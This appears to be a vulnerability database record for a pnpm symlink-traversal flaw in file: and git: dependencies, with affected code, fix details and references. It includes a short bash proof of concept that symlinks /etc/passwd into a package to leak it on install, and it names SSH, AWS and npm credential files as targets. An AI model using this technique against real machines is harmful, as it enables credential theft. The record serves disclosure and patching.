{"id":"CVE-2026-24056","aliases":["GHSA-m733-5w8f-5ggw"],"url":"https://o3.security/vulnerability/CVE-2026-24056","summary":"pnpm has symlink traversal in file:/git dependencies","details":"### Summary\nWhen pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data.\n\n**Preconditions:** Only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.\n\n### Details\nThe vulnerability exists in `store/cafs/src/addFilesFromDir.ts`. The code uses `fs.statSync()` and `readFileSync()` which follow symlinks by default:\n\n```typescript\nconst absolutePath = path.join(dirname, relativePath)\nconst stat = fs.statSync(absolutePath)  // Follows symlinks!\nconst buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET\n```\n\nThere is no check that `absolutePath` resolves to a location inside the package directory.\n\n### PoC\n```bash\n# Create malicious package\nmkdir -p /tmp/evil && cd /tmp/evil\nln -s /etc/passwd leaked-passwd.txt\necho '{\"name\":\"evil\",\"version\":\"1.0.0\",\"files\":[\"*.txt\"]}' > package.json\n\n# Victim installs\nmkdir /tmp/victim && cd /tmp/victim\npnpm init && pnpm add file:../evil\n\n# Leaked!\ncat node_modules/evil/leaked-passwd.txt\n```\n\n### Impact\n- Developers installing local/file dependencies\n- CI/CD pipelines installing git dependencies\n- Credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`\n\n### Suggested Fix\nUse `lstatSync` to detect symlinks and reject those pointing outside the package root in `store/cafs/src/addFilesFromDir.ts`.","published":"2026-01-26T21:59:32.287Z","modified":"2026-09-12T11:45:12.010509901Z","cvss":null,"epss":{"score":0.00469,"percentile":0.38144,"asOf":"2026-07-31"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"pnpm","fixedVersion":"10.28.2"}],"fix":{"url":"https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f","label":"pnpm/pnpm@b277b45"},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24056.json"},{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24056"},{"type":"FIX","url":"https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T11:45:12.010509901Z"}}